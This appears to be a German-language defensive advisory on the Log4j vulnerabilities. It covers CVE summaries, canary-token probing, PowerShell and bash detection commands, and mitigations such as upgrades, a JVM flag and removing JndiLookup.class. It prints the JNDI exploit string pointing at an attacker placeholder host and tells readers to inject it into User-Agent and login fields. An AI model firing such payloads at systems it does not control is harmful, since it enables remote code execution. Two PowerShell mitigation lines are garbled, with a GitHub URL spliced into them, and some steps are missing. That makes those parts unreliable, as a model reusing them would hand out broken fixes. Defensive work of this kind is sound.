Der große böse Wolf unter den Log4j-Schwachstellen. Die Schwachstelle wird ausgenutzt, wenn eine Variante der Zeichenkette ${jndi:ldap://\<angrepskode>/a} von Log4j protokolliert wird. CVSS 10.0, RCE.

Nicht ganz so groß wie CVE-2021-44228, aber genauso böse. Erfordert eine nicht standardmäßige Log4j-Konfiguration. CVSS 9.0, RCE und DoS.

Nicht ganz so groß wie CVE-2021-44228, auch ein wenig weniger böse. CVSS 7.5, DoS

Betrifft nur Log4j Version 1.x. Erfordert, dass Log4j JMSAppender verwendet. CVSS 6.6, RCE Die Ausnutzung erfordert, dass Log4j JMSAppender verwendet. Entweder dadurch, dass JMSAppender direkt konfiguriert ist – was ungewöhnlich ist – oder dadurch, dass der Angreifer ihn selbst zur Log4j-Konfiguration hinzufügt. Darüber hinaus muss der Angreifer Zugriff haben, um die Konfiguration des JMSAppender zu ändern. Wenn dies der Fall ist, hat der Angreifer normalerweise bereits Zugriff auf das System. Die Schwachstelle wird daher als wenig relevant angesehen.

Betrifft nur Log4j Version 1.x. Erfordert, dass Log4j SocketServer verwendet. CVSS 9.8, RCE Gibt einem Angreifer mit Netzwerkzugriff auf den betreffenden Socket die Möglichkeit zur Codeausführung. Ausnutzungscode ist öffentlich verfügbar.

2. Bauen Sie diese Textzeichenkette ${jndi:ldap://<kanaritoken>/a}
3. Geben Sie diese Zeichenkette in alle Felder ein, die potenziell protokolliert werden können

- User-Agent
- Suchfeld
- Benutzername
- ...

4. Verfolgen Sie Canary-Treffer und finden Sie heraus, wo log4j ausgeführt wird.

Ref: Tweet von Florian Roth

Windows

Dieser Befehl durchsucht alle Laufwerke, einschließlich zugeordneter Netzlaufwerke:

Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

Ref: https://twitter.com/0gtweet/status/1469661769547362305

Wenn man nur lokale Laufwerke überprüfen möchte:

Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

Ref: https://twitter.com/webmastir/status/1470386184052486155?s=20

Wenn man zusätzlich das Ereignisprotokoll der Maschine überprüfen möchte.

Get-WinEvent -ListLog * |
  foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
  where message -match 'jndi'

Linux #1

#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
        echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0

Wird als root ausgeführt

Linux #2

lsof | grep log4j-core

Java 8

Aktualisieren Sie Log4j auf v 2.17.0

Java 7

Aktualisieren Sie Log4j auf v 2.12.2 ACHTUNG mitigiert CVE-2021-45105 nicht

⚠️ Diese Methode wird nicht länger als vollwertige Lösung angesehen, da sie nicht alle Schwachstellen in allen Situationen mitigiert.

Windows

[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)

HINWEIS: Erfordert einen Neustart

Von https://twitter.com/CyberRaiju/status/1469505680138661890

JVM-Flags setzen

"‐Dlog4j2.formatMsgNoLookups=True"

Kommandozeilenbeispiel:

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet

Oder mit einem -Xmx-Wert:

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku

Systemd-Konfigurationsbeispiel:

Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'

Oder mit einem -Xmx-Wert:

Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'

Dies wird beim Neustart der Anwendung geladen Von https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7

Eine Jar-Datei ist ein Archiv (Zip-Datei) und kann geöffnet werden. Dateien können dann entfernt werden. Dies kann manuell mit Werkzeugen wie 7-Zip (siehe Bild) oder mithilfe von Skripten durchgeführt werden.

Erfordert einen Neustart der Anwendung

Ref: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

Windows

[Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:LoadWithPartialName(%27System.IO.Compression%27)
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn   = 'JndiLookup.class' #Denne filen slettes!

$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode   = [IO.Compression.ZipArchiveMode]::Update
$Zip    = New-Object IO.Compression.ZipArchive($stream, $ZipMode)

($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()

Linux

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class